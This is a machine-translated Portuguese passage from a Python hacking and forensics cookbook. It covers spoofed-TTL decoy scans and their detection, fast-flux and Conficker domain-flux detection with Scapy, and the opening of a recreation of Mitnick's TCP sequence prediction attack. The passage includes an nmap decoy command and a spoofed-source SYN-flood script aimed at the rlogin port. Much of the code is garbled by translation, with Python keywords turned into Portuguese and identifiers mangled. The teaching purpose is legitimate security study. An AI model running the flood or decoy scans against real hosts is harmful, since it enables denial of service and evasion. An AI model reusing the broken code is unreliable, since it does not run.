Antes de escrever nosso script, vamos explicar o campo TTL fi de um pacote IP. o TTL
campo contém 8 bits, fazendo com que os valores válidos 0 a 255. Quando um computador
envia um pacote IP, ele define o campo TTL fi como o limite superior de saltos que um pacote
pode tomar antes de chegar a um destino. Todos os dispositivos de roteamento que toca o
pacote diminui o TTL. Se o campo chega a zero, em seguida, as devoluções roteador
o pacote para evitar que no fi loops de roteamento nite. Por exemplo, se eu ping o endereço
8.8.8.8 com um TTL inicial de 64 e ele retorna com um TTL de 53, eu vejo o pacote
cruzou 11 dispositivos de roteamento em seu retorno.
­alvo ­m # ping 64 8.8.8.8
8.8.8.8 PING (8.8.8.8) 56 (84) bytes de dados.
64 bytes de 8.8.8.8: icmp_seq = 1 TTL = 53 time = 48,0 ms

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 98/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
64 bytes de 8.8.8.8: icmp_seq = 2 TTL = 53 time = 49,7 ms
64 bytes de 8.8.8.8: icmp_seq = 3 TTL = 53 time = 59,4 ms

Quando Nmap inicialmente introduzido scans de engodo na versão 1.60, o TTL foi Nenhum referia
ther randomizados nem calculado corretamente para os pacotes de engodo. Na falta de cor­
tamente calcular o TTL permitido Moore para identificar esses pacotes. Obviamente
a base de código para o Nmap tem crescido significativamente desde 1999 e continua a
evoluir. Na base de código atual, Nmap randomizes o TTL utilizando o acompanhamento
ing algoritmo. Este algoritmo produz um TTL aleatória, com média de cerca de 48 por

Como HD Moore Resolvido o Dilema do Pentágono 145

pacote. Um usuário também pode codificar o TTL utilizando um ag fl opcional, definindo a
fixado TTL.
/* Tempo de Viver */
if (TTL == ­1) {
myttl = (get_random_uint ()% 23) + 37;
} outro {
myttl = ttl;
}
Para executar uma varredura chamariz Nmap, vamos utilizar a ag ­D fl seguido de um IP
endereço. Neste caso, vamos usar o endereço 8.8.8.8 como o endereço de um engodo. Pele­
Thermore, nós duro vai codificar um TTL de 13 usando o ­ttl. Assim, nossa seguinte
comandos digitalizar o endereço 192.168.1.7 com um chamariz de 8.8.8.8, usando um hardware
codificado TTL de 13.
atacante $ nmap 192.168.1.7 ­D 8.8.8.8 ­ttl 13
Começando Nmap 5,51 (http://nmap.org) em 2012­03­04 14:54 MST
relatório de verificação Nmap para 192.168.1.7
Host está ativo (0.015s latência).
<.. Cortou ..>

No alvo, 192.168.1.7, nós fogo até tcpdump no modo detalhado (­v), desativar
resolução de nomes (­nn) e fi ltro na especi fi endereço c 8.8.8.8 ( 'host 8.8.8.8').
Vemos que o Nmap enviada com sucesso pacotes de engodo de 8.8.8.8 usando um TTL de 13.

­alvo # tcpdump ­i eth0 ­v ­nn 'host 8.8.8.8'
8.8.8.8.42936> 192.168.1.7.6: Flags [S], cksum 0xcae7 (correta), seq
690560664, win 3072, as opções [MSS 1460], length 0
14: 56: 41,289989 IP (TOS 0x0, ttl 13, id 1625, offset 0, bandeiras [nenhum],
proto TCP (6), de comprimento 44)
8.8.8.8.42936> 192.168.1.7.1009: Flags [S], cksum 0xc6fc (correta),
seq 690560664, win 3072, opções [MSS 1460], length 0
14: 56: 41,289996 IP (TOS 0x0, ttl 13, ID 16857, offset 0, bandeiras
[Nenhum], TCP proto (6), comprimento 44)
8.8.8.8.42936> 192.168.1.7.1110: Flags [S], cksum 0xc697 (correta),
seq 690560664, win 3072, opções [MSS 1460], length 0
14: 56: 41,290003 IP (TOS 0x0, ttl 13, ID 41154, offset 0, bandeiras [nenhum],
proto TCP (6), de comprimento 44)
8.8.8.8.42936> 192.168.1.7.2601: Flags [S], 0xc0c4 cksum (correta),
seq 690560664, win 3072, opções [MSS 1460], length 0
14: 56: 41,307069 IP (TOS 0x0, ttl 13, ID 63795, offset 0, bandeiras [nenhum],
proto TCP (6), de comprimento 44)

146 CAPÍTULO 4: Análise de tráfego de rede com Python

Analisando TTL Campos com scapy
Vamos começar a escrever nosso script imprimindo a fonte endereço IP e TTL de
pacotes de entrada. Neste ponto, vamos voltar a usar scapy para o resto da
capítulo. Seria tão fácil de escrever esse código usando dpkt. Vamos montar
uma função para farejar e passar cada pacote individual para o testTTL function (),
que examina o pacote para a camada IP, extraindo o endereço IP de origem e
TTL campos e impressões destes fi campos para a tela.
de scapy.all import *
def testTTL (PKT):
experimentar:
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 99/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Se pkt.haslayer (IP):
ipsrc = pkt.getlayer .src (IP)
ttl = str (pkt.ttl)
print '[+] pacote recebido de:' + ipsrc + 'com TTL:' \
+ TTL
exceto:
passar
def main ():
fungada (PRN = testTTL, store = 0)
se __name__ == '__main__':
a Principal()

Correndo o nosso código, vemos que temos recebido muito poucos pacotes a partir diff­
endereços de origem erent, com diferentes TTLs. Estes resultados também incluem o chamariz
scans da 8.8.8.8 com um TTL de 13. Como sabemos que o TTL deve ser 64
menos 11 = 53 saltos de distância, podemos argumentar que alguém falsificado estes. Está
importante notar neste ponto que, enquanto os sistemas Linux / Unix geralmente começam
com um TTL inicial de 64, os sistemas baseados no Windows começar com um TTL de 128. Para
os efeitos do nosso script aqui, nós assumimos que estamos apenas dissecando pacotes IP
a partir de estações de trabalho Linux varredura nossa meta, então vamos adicionar uma função para verificar
o TTL recebido contra o TTL real.
analista printTTL.py # python
[+] Pacote recebido de: 192.168.1.7 com TTL: 64
[+] Pacote recebido de: 173.255.226.98 com TTL: 52
[+] Pacote recebido de: 8.8.8.8 com TTL: 13
[+] Pacote recebido de: 8.8.8.8 com TTL: 13
[+] Pacote recebido de: 192.168.1.7 com TTL: 64
[+] Pacote recebido de: 173.255.226.98 com TTL: 52
[+] Pacote recebido de: 8.8.8.8 com TTL: 13

Como HD Moore Resolvido o Dilema do Pentágono 147

Nossa função checkTTL () recebe um endereço IP de origem com a respectiva
recebeu TTL como entrada e imprime uma mensagem para TTLs inválidos. Primeiro, vamos usar
uma declaração condicional rápido para eliminar os pacotes de endereços IP privados
(10.0.0.0­10.255.255.255, 172.16.0.0­172.31.255.255, e 192.168.0.0­
192.168.255.255). Para fazer isso, nós importar a biblioteca IPy. Para evitar a classe IP
conflitantes com a classe IP scapy, nós reclassificá­la como IPTest. Se o IPTest (ipsrc).
iptype () retorna 'privado', voltamos de nossa função checkTTL, ignorando o
pacote para exame.
Nós recebemos muito poucos pacotes exclusivos a partir do mesmo endereço de origem. Nós apenas
querer verificar o endereço de origem uma vez. Se nós não vimos o endereço de origem
anteriormente, vamos construir um pacote IP com um endereço de destino igual ao de origem.
Além disso, fazemos o pacote um pedido de eco ICMP para que o destino
responderá. Uma vez que o endereço de destino responde, colocamos o valor TTL no
um dicionário, indexado pelo endereço IP de origem. Em seguida, verifique se que dife­
rência entre o TTL recebeu real eo TTL no pacote original excede
um valor de limiar. Pacotes podem seguir por rotas diferentes no caminho para um destino
e, portanto, têm diferentes TTLs; no entanto, se thehops distância difere por cinco
lúpulo, podemos supor que ele pode ser um TTL falsificado e imprimir uma mensagem de aviso
a tela.
de scapy.all import *
de IP de importação IPy como IPTest
ttlValues ​
= {}

THRESH = 5

def checkTTL (ipsrc, ttl):
se IPTest (ipsrc) .iptype () == 'privado':
Retorna
Se não ttlValues.has_key (ipsrc):
pkt = SR1 (IP (dst = ipsrc) / ICMP (), \
repetir = 0, timeout = 1, verbose = 0)
ttlValues ​
[ipsrc] = pkt.ttl

se abs (int (TTL) ­ int (ttlValues ​
[ipsrc]))> THRESH:

print '\ n detectou possíveis Spoofed Packet De [!]:' \
+ ipsrc
print '[!] TTL:' + TTL + ', TTL real:' \
+ Str (ttlValues ​
[ipsrc])

Eu acrescento alguma opção de análise para o endereço fi c específica para ouvir em, seguida
por uma opção para definir o limiar para produzir o código final. Menos de linhas cinquenta fi
de código e nós temos a solução de HD Moore para o dilema do Pentágono de
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 100/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
mais de uma década atrás.

148 CAPÍTULO 4: Análise de tráfego de rede com Python

tempo de importação
optparse importação
de scapy.all import *
de IP de importação IPy como IPTest
ttlValues ​
= {}

THRESH = 5

def checkTTL (ipsrc, ttl):
se IPTest (ipsrc) .iptype () == 'privado':
Retorna
Se não ttlValues.has_key (ipsrc):
pkt = SR1 (IP (dst = ipsrc) / ICMP (), \
repetir = 0, timeout = 1, verbose = 0)
ttlValues ​
[ipsrc] = pkt.ttl

se abs (int (TTL) ­ int (ttlValues ​
[ipsrc]))> THRESH:

print '\ n detectou possíveis Spoofed Packet De [!]:' \
+ ipsrc
print '[!] TTL:' + TTL + ', TTL real:' \
+ Str (ttlValues ​
[ipsrc])

def testTTL (PKT):
experimentar:
Se pkt.haslayer (IP):
ipsrc = pkt.getlayer .src (IP)
ttl = str (pkt.ttl)
checkTTL (ipsrc, ttl)
exceto:
passar
def main ():
parser = optparse.OptionParser ( "uso% prog" + \
"­i <Interface> ­t <limiar>")
parser.add_option ( '­ i', dest = "iface ', type =' string ', \
help = 'especificar interface de rede')
parser.add_option ( '­ t', dest = 'limiar', type = 'int',
help = 'especificar contagem limiar ")
(Opções, args) = parser.parse_args ()
se options.iface == None:
conf.iface = 'eth0'
outro:
conf.iface = options.iface

Fast­Flux da tempestade e do Conficker Domain­Flux
149

se options.thresh! = None:
THRESH = options.thresh
outro:
THRESH = 5

fungada (PRN = testTTL, armazenar = 0)
se __name__ == '__main__':
a Principal()

Correndo o nosso código, podemos ver que ele corretamente identifica o chamariz Nmap varredura
a partir 8.8.8.8 devido à TTL de 13 em comparação com o TTL real de 53 (por
nossa pacote). É importante notar que o nosso valor é gerado fora de um inicial
TTL padrão para Linux de 64. Embora RFC 1700 recomenda o TTL padrão
como 64, Microsoft Windows usou um TTL inicial de 128 desde que o MS Windows NT
4.0. Além disso, algumas outras variantes de Unix têm diferentes TTLs como Solaris
2.x com um TTL padrão de 255. Por enquanto, vamos deixar o script como e assumir
pacotes falsos são originários de uma máquina baseada em Linux.
analista # python spoofDetect.py ­i eth0 ­t 5
[!] Detectado Packet Spoofed possível apartir de: 8.8.8.8
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 101/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

TTL [!]: 13, TTL real: 53
[!] Detectado Packet Spoofed possível apartir de: 8.8.8.8
TTL [!]: 13, TTL real: 53
[!] Detectado Packet Spoofed possível apartir de: 8.8.8.8
TTL [!]: 13, TTL real: 53
[!] Detectado Packet Spoofed possível apartir de: 8.8.8.8
TTL [!]: 13, TTL real: 53
<.. Cortou ..>

A tempestade de FAST­fluxo e'S domínio­ Conficker
FLUXO
Em 2007, pesquisadores de segurança identificaram uma nova técnica utilizada pelo infame
Tempestade botnet (Higgins, 2007). A técnica, chamada fast­ fl uxo, domínio usado
serviço (DNS) registros para esconder os servidores de comando e controle que
controlavam a botnet Storm. registros de DNS tipicamente traduzir um nome de domínio para
um endereço IP. Quando um servidor DNS retorna um resultado, ele também especi fi ca o TTL que
o endereço IP permanece válido para antes do anfitrião deve verificar novamente.
Os atacantes por trás da botnet tempestade mudou os registros de DNS para o
server­comando e controle com bastante frequência. Na verdade, eles usaram 2.000 redundante
anfitriões espalhar entre os 384 provedores em mais de 50 países (Lemos, 2007).

150 CAPÍTULO 4: Análise de tráfego de rede com Python

Os atacantes trocaram os endereços IP para o servidor­comando e controle fre­
temente e assegurou os resultados DNS retornou com um muito curto TTL. Este fast­ fl uxo
de endereços IP tornou difícil para os pesquisadores de segurança para identificar o command­
e­controlserversforthebotnetandevenmoredif fi culttotaketheserversof fl ine.
Enquanto fast­ fl uxo provou dif cult fi na queda do botnet Storm uma seme­
técnica lar usado no ano seguinte ajudou na infecção de sete milhões
computadores em mais de duzentos países (Binde et al., 2011). Con fi cker, o
mais worm de computador bem sucedido até à data, espalhados por atacar um vulnerabi­
dade no protocolo Windows Service Message Block (SMB). Uma vez infectado,
as máquinas vulneráveis ​ contactado um servidor de comando e controle para

mais instruções. A identificação e impedindo a comunicação com o
server­comando e controle provou absolutamente necessário para aqueles envolvidos
com parando o ataque. No entanto, Con fi cker gerado domínio diferente
nomes a cada três horas, utilizando a data e hora atual em UTC. Para o
terceira iteração do Con fi cker, isso significava 50.000 domínios foram gerados
de três em três horas. Atacantes registrado apenas um punhado desses domínios para
endereços reais IP para os servidores de comando e controle. Isso fez com que inter­
cepting e impedindo o tráfego fi c com o servidor­comando e controle muito
difícil. Como a técnica rodado nomes de domínio, os investigadores nomeados
­lo domínio­ fl uxo.
Na seção seguinte, vamos escrever alguns scripts Python para detectar fast­ fl uxo
e domínio­ fl uxo em meio selvagem para identificar ataques.

Será que o seu DNS sabe que algo você não faz?
Para identificar fast­ fl uxo e domínio­ fl uxo em estado selvagem, vamos rever rapidamente o DNS
olhando para o tráfego fi c gerada durante uma solicitação de nome de domínio. Compreensão
suportar isso, vamos realizar uma pesquisa de nome de domínio na whitehouse endereço.
com. Note que o nosso servidor de DNS em 192.168.1.1, traduz whitehouse.com em
o endereço IP 74.117.114.119.
analista # nslookup whitehouse.com
servidor: 192.168.1.1
Endereço: 192.168.1.1 # 53
Resposta não oficial:
Nome: whitehouse.com
Endereço: 74.117.114.119

Examinando uma pesquisa de DNS com o tcpdump, vemos que o nosso cliente (192.168.13.37)
envia uma solicitação para o servidor de DNS em 192.168.1.1. Especialmente, o cliente gera
uma pergunta registro DNS (DNSQR) pedindo o endereço IPv4 de Whitehouse.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 102/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Fast­Flux da tempestade e do Conficker Domain­Flux
151

com. O servidor responde acrescentando­se um registro de recursos DNS (DNSRR) que
fornece o endereço IP para whitehouse.com.
analista # tcpdump ­i eth0 ­nn 'porta udp 53'
07: 45: 46,529978 IP 192.168.13.37.52120> 192.168.1.1.53: 63962 + A?
whitehouse.com. (32)
07: 45: 46,533817 IP 192.168.1.1.53> 192.168.13.37.52120: 63962 1/0/0 A
74.117.114.119 (48)

Usando scapy para analisar DNS Traf fi c
Quando examinamos esses pedidos de protocolo DNS em scapy, vemos os campos
incluído em cada. A DNSQR contém o nome de interrogação (qname), a questão
Tipo ção (QTYPE), e classe de interrogação (QCLASS). Para o nosso pedido acima, pedimos
o endereço IPv4 para whitehouse.com para ser resolvido, tornando o campo qname fi
igual a whitehouse.com. O servidor DNS responde anexando um DNSRR
que contém o nome de registro de recurso (rrname), o tipo (type), recursos
classe de registro (rclass) e TTL. Saber como fast­ fl uxo e domínio­ fl uxo de trabalho,
agora podemos escrever alguns scripts Python com scapy para analisar e identificar sus­
pecto DNS tráfego fi c.
analista # scapy
Bem­vindo ao scapy (2.0.1)
>>> ls (DNSQR)

( '')
qname : DNSStrField =
QTYPE : ShortEnumField = (1)
QCLASS : ShortEnumField = (1)
>>> ls (DNSRR)
rrname
digitar
: DNSStrField
: ShortEnumField
=
=
( '')
(1)
rclass : ShortEnumField = (1)
ttl : IntField = (0)
rdlen : RDLenField = (Nenhum)
RDATA : RDataField =
( '')
A Agência Europeia de Segurança de Redes e Informação proporciona uma exce­
recursos emprestados para análise de rede tráfego fi c. Eles fornecem uma imagem ISO de DVD ao vivo
que contém várias capturas de rede e exercícios. Você pode baixar uma cópia
a partir de
http://www.enisa.europa.eu/activities/cert/support/exercise/live­dvd­
ISO­imagens.Exercício # 7 fornece uma Pcap que demonstra fast­ fl uxo comportamento.
Além disso, você pode desejar para infectar uma máquina virtual com spyware ou mal­
Loiça e examinar o tráfego fi c com segurança em um ambiente de laboratório controlada antes

152 CAPÍTULO 4: Análise de tráfego de rede com Python

processo. Para os nossos propósitos, vamos supor que você tem agora uma rede capturado
chamado fastFlux.pcap que contém alguns fi tráfego DNS c você gostaria de analisar.

Detectando rápido Flux Traf fi c com scapy
Vamos escrever um script Python que lê neste pcap e que analisa a todos
os pacotes que contêm DNSRR. Scapy contém uma poderosa função, .
haslayer () , que leva um protocolo tipo como entrada e retorna um booleano. Se o
pacote contém um DNSRR, vamos extrair as variáveis ​ rrname RDATA e que

conter o nome de domínio apropriado e endereço IP. Podemos, então, verificar
o nome de domínio contra um dicionário mantemos, indexado pelo domínio
nomes. Se vimos o nome de domínio antes, vamos verificar para ver se ele
tinha um endereço IP anterior associado. Se ele tem um diferente IP anterior
endereço, nós adicionamos o nosso novo endereço para a matriz mantida no valor do nosso
dicionário. Em vez disso, se identificar um novo domínio, adicioná­lo ao nosso dicionário.
Nós adicionar o endereço IP para o domínio como o primeiro elemento da matriz armazenada
como nosso valor dicionário.
Ele faz parecer um pouco complexa, mas queremos ser capaz de armazenar todo o domínio
nomes e os vários endereços IP associados com eles. Para detectar fl uxo rápido,
teremos de saber quais nomes de domínio ter vários endereços. Depois de nós
examinar todos os pacotes, nós imprimir todos os nomes de domínio e quantas
existem endereços IP exclusivos para cada nome de domínio.
de scapy.all import *
dnsRecords = {}
def handlePkt (PKT):

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 103/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Se pkt.haslayer (DNSRR):
rrname = pkt.getlayer (DNSRR) .rrname
RDATA = pkt.getlayer (DNSRR) .rdata
Se dnsRecords.has_key (rrname):
Se não RDATA em dnsRecords [rrname]:
dnsRecords [rrname] .append (RDATA)
outro:
dnsRecords [rrname] = []
dnsRecords [rrname] .append (RDATA)
def main ():
pkts = rdpcap ( 'fastFlux.pcap')
para PKT em pkts:
handlePkt (PKT)
para o item em dnsRecords:
print '[+]' + artigo + 'tem' + str (len (dnsRecords [produto])) \

Fast­Flux da tempestade e do Conficker Domain­Flux
153

+ 'IPs únicos. "
se __name__ == '__main__':
a Principal()

Correndo o nosso código, vemos que pelo menos quatro nomes de domínio tem uma infinidade de
endereços IP associados a eles. Todos os quatro nomes de domínio listados abaixo efectiva­
aliado utilizada fast­ fl uxo no passado (Nazario, 2008).

analista testFastFlux.py # python
[+] Ibank­halifax.com. tem 100,379 IPs únicos.
[+] Armsummer.com. tem 14.233 IPs únicos.
[+] Boardhour.com. tem 11.900 IPs únicos.
[+] Swimhad.com. tem 11, 719 IPs únicos.

Detectando Domínio Flux Traf fi c com scapy
Em seguida, vamos começar por analisar uma máquina infectada com Con fi cker. Você pode
quer infectar uma máquina mesmo ou baixar algum amostra captura fora do
Internet. Muitos sites de terceiros contêm vários Con fi capturas de rede cker.
Como Con fi cker utilizada domínio­ fl uxo, teremos de olhar para as respostas do servidor
que contêm mensagens de erro para nomes de domínios desconhecidos. Diferentes versões
Con fi cker gerado vários nomes DNS horária. Porque vários do domínio
nomes provou falso e foram feitos para mascarar o­comando e controle real
servidor, a maioria dos servidores DNS não tinha a capacidade de traduzir os nomes de domínio para
endereços reais e mensagens de erro em vez gerada. Vamos identificar domínio­
fl uxo em ação através da identificação de todas as respostas DNS que contêm um código de erro
para o nome de erros. Para uma lista completa dos domínios utilizados na Worm Con fi cker,
veja http://www.cert.at/downloads/data/con fi cker_en.html.
Mais uma vez, vamos ler em uma captura de rede e enumerar através de todas as embala­
ets na captura. Vamos testar apenas os pacotes que originam a partir da fonte servidor
porta 53 que contêm registros de recursos. O pacote de DNS contém anrcode campo.
Quando o rcode é igual a 3, indica que o nome de domínio não existe.
Em seguida, imprimir o nome de domínio para a tela e atualizar um contador de visitas de todos
solicita o nome sem resposta.

de scapy.all import *
def dnsQRTest (PKT):
se pkt.haslayer (DNSRR) e pkt.getlayer (UDP) .sport == 53:
rcode = pkt.getlayer (DNS) .rcode
qname = pkt.getlayer (DNSQR) .qname
Se == rcode 3:
print '[!] solicitação de pesquisa de nome falhou:' + qname

154 CAPÍTULO 4: Análise de tráfego de rede com Python

retornar True
outro:
retornar False

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 104/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
def main ():
unAnsReqs = 0
pkts = rdpcap ( 'domainFlux.pcap')
para PKT em pkts:
se dnsQRTest (PKT):
unAnsReqs = + 1 unAnsReqs
print '[!]' + str (unAnsReqs) + 'Total de Solicitações Nome Unanswered'
se __name__ == '__main__':
a Principal()

Observe que quando executamos nosso script, vemos vários dos nomes de domínio reais
usado em Con fi cker para domínio­ fl uxo. Sucesso! Nós somos capazes de identificar o ataque.
Vamos usar nossas habilidades de análise na próxima seção para revisitar um ataque sofisticado
que ocorreu mais de 15 anos atrás.
analista testDomainFlux.py # python
[!] Solicitação de pesquisa de nome falhou: tkggvtqvj.org.
pedido de pesquisa de nome falhou [!]: yqdqyntx.com.
[!] Solicitação de pesquisa de nome falhou: uvcaylkgdpg.biz.
[!] Solicitação de pesquisa de nome falhou: vzcocljtfi.biz.
[!] Solicitação de pesquisa de nome falhou: wojpnhwk.cc.
[!] Solicitação de pesquisa de nome falhou: plrjgcjzf.net.
[!] Solicitação de pesquisa de nome falhou: qegiche.ws.
[!] Solicitação de pesquisa de nome falhou: ylktrupygmp.cc.
pedido de pesquisa de nome falhou [!]: ovdbkbanqw.com.
<.. Cortou ..>
[!] 250 solicita o nome total sem resposta

Kevin Mitnick e TCP PREVISÃO DE SEQUÊNCIA
16 de fevereiro de 1995 encerrou o reinado de um hacker notório, cuja onda de crimes
incluíram o roubo de segredos comerciais das empresas no valor de milhões de dólares. por mais
15 anos, Kevin Mitnick obteve acesso não autorizado a computadores, roubou pro­
informações prietary e assediado qualquer um que tentou pegá­lo (Shimo­
mura, 1996), mas , eventualmente, uma equipe direcionada Mitnick e rastreado ­lo para baixo para
Raleigh, Carolina do Norte.

Kevin Mitnick e TCP Previsão Sequence 155

Tsutomu Shimomura, um físico computacional de cabelos compridos de San Diego,
auxiliado na captura Mitnick (Markoff, 1995). Depois de testemunhar perante o Congresso
sobre a segurança do telefone celular em 1992, Shimomura tornou­se um alvo para Mit­
nick. Em Dezembro de 1994, alguém invadiu computador de casa do Shimomura
sistema (Markoff, 1995). Convencido de que o atacante foi Mitnick e fascinado por
o novo método de ataque, Shimomura essencialmente liderou a equipe técnica que
rastreados Mitnick para o próximo ano.
Qual foi o vetor de ataque que intrigou Shimomura? Nunca visto antes em
o selvagem, Mitnick usou um método de seqüestro de sessões TCP. Esta técnica,
conhecido como previsão sequência TCP, explorado a falta de aleatoriedade na
números de seqüência usado para rastrear ligações de rede individuais. Este aw fl,
combinado com o endereço IP spoo fi ng, permitiu Mitnick para seqüestrar uma conexão
ao computador de casa do Shimomura. Na seção seguinte, vamos recriar a
ataque ea ferramenta que Mitnick usado em sua previsão sequência infame TCP
ataque.

Your Prediction TCP seqüência muito própria
A máquina que Mitnick atacada tinha um acordo de confiança com um controle remoto
servidor. O servidor remoto pode acessar vítima de Mitnick através do login remoto
(Rlogin) protocolo que é executado na porta TCP 513. Em vez de usar um público / privado
acordo de chave ou um esquema de senha, rlogin utilizado um meio inseguro de autenti­
cação­verificando o endereço IP de origem. Assim, para atacar de Shimomura
máquina, Mitnick teve a 1) fi nd um servidor que ele confiava; 2) silêncio que confiava
servidor; 3) falsificar uma conexão a partir desse servidor; e 4) às cegas falsificar um bom
reconhecimento do three­way handshake TCP. Parece muchmore dife­
fi cult do que realmente é. Em 25 de Janeiro de 1994, Shimomura postou detalhes sobre
o ataque a um blog USENET (Shimomura, 1994). Analisando esse ataque pela
olhando para os detalhes técnicos publicados por Shimomura, vamos escrever uma Python
script para executar esse mesmo ataque.
Depois de Mitnick identificou um servidor remoto que teve um acordo de confiança com Shi­
máquina pessoal de momura, ele precisava para silenciar essa máquina. Se a máquina
notado a tentativa de conexão falsificada usando seu endereço IP, seria então

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 105/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
enviar pacotes de redefinição de TCP para fechar a ligação. Para silenciar a máquina, Mit­
Nick enviada uma série de pacotes TCP SYN à porta rlogin no servidor. Conhecido como
um SYN Flood, este ataque encheram­se a fila de conexão do servidor e mantido
­lo a partir de responder. Examinar os detalhes da postagem de Shimomura, vemos um
série de TCP SYNs à porta rlogin no alvo.
14: 18: 22,516699 130.92.6.97.600> server.login: S
1382726960: 1382726960 (0) ganhar 4096
14: 18: 22,566069 130.92.6.97.601> server.login: S
1382726961: 1382726961 (0) ganhar 4096

156 CAPÍTULO 4: Análise de tráfego de rede com Python

14: 18: 22,744477 130.92.6.97.602> server.login: S
1382726962: 1382726962 (0) ganhar 4096
14: 18: 22,830111 130.92.6.97.603> server.login: S
1382726963: 1382726963 (0) ganhar 4096
14: 18: 22,886128 130.92.6.97.604> server.login: S
1382726964: 1382726964 (0) ganhar 4096
14: 18: 22,943514 130.92.6.97.605> server.login: S
1382726965: 1382726965 (0) ganhar 4096
<.. Cortou ..?

A elaboração de uma inundação SYN com scapy
Replicar um ataque fl ood TCP SYN em scapy prova simples. Vamos criar alguns
pacotes IP com uma camada de protocolo TCP com uma porta de origem TCP incrementar e
porta de destino TCP constante de 513.
de scapy.all import *
def Synflood (src, tgt):
para o desporto em intervalo (1024,65535):
IPlayer = IP (src = src, dst = TGT)
TCPlayer = TCP (sport = esporte, dport = 513)
pkt = iPlayer / TCPlayer
enviar (PKT)
src = "10.1.1.2"
TGT = "192.168.1.3"
Synflood (src, tgt)

Executando o ataque envia TCP SYNs para esgotar os recursos do alvo, ll­ fi
ing a sua fila de conexões e, essencialmente, silenciando a capacidade do alvo para enviar
pacotes TCP reset.
mitnick # python synFlood.py
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.
.

Kevin Mitnick e TCP Previsão Sequence 157

Enviados 1 pacotes.
.
<.. Cortou ..>

Calculando números de sequência TCP
Agora o ataque fica um pouco mais interessante. Com o servidor remoto silenciados,
Mitnick pode falsificar uma conexão TCP para o destino. No entanto, este dependia
sobre a sua capacidade de enviar um SYN falsificado, seguido por máquina de Shimomura
reconhecendo a conexão TCP com um TCP SYN­ACK. Para completar a

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 106/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
conexão, Mitnick necessário para adivinhar corretamente o número de seqüência TCP no
o SYN­ACK (porque ele não foi capaz de observá­lo) e depois enviar de volta um
ACK desse número de sequência TCP adivinhado corretamente. Para calcular a cor­
rect número de sequência TCP, Mitnick enviou uma série de SYNs de uma universidade
máquina chamada apollo.it.luc.edu. Depois de receber o SYN, Shimomura de
máquina de x­terminal respondeu com um SYN­ACK com uma sequência TCP núme­
ber. Observe os números de sequência nos detalhes técnicos seguindo snipped:
2022080000, 2022208000, 2022336000, 2022464000. Cada incremento
SYN­ACK difere por 128.000 dígitos. Isso fez com que o cálculo do TCP correta
número de sequência bastante fácil para Mitnick (note que a maioria opera­ moderna
sistemas ing hoje oferecem randomização mais robusta de sequência TCP
números).
14: 18: 27,014050 apollo.it.luc.edu.998> x­terminal.shell: S
1382726992: 1382726992 (0) ganhar 4096
14: 18: 27,174846 x­terminal.shell> apollo.it.luc.edu.998: S
2022080000: 2022080000 (0) ack 1382726993 win 4096
14: 18: 27,251840 apollo.it.luc.edu.998> x­terminal.shell: R
1382726993: 1382726993 (0) 0 ganhar
14: 18: 27,544069 apollo.it.luc.edu.997> x­terminal.shell: S
1382726993: 1382726993 (0) ganhar 4096
14: 18: 27,714932 x­terminal.shell> apollo.it.luc.edu.997: S
2022208000: 2022208000 (0) ack 1382726994 win 4096
14: 18: 27,794456 apollo.it.luc.edu.997> x­terminal.shell: R
1382726994: 1382726994 (0) 0 ganhar
14: 18: 28,054114 apollo.it.luc.edu.996> x­terminal.shell: S
1382726994: 1382726994 (0) ganhar 4096
14: 18: 28,224935 x­terminal.shell> apollo.it.luc.edu.996: S
2022336000: 2022336000 (0) ack 1382726995 win 4096
14: 18: 28,305578 apollo.it.luc.edu.996> x­terminal.shell: R
1382726995: 1382726995 (0) 0 ganhar
14: 18: 28,564333 apollo.it.luc.edu.995> x­terminal.shell: S
1382726995: 1382726995 (0) ganhar 4096

158 CAPÍTULO 4: Análise de tráfego de rede com Python

14: 18: 28,734953 x­terminal.shell> apollo.it.luc.edu.995: S
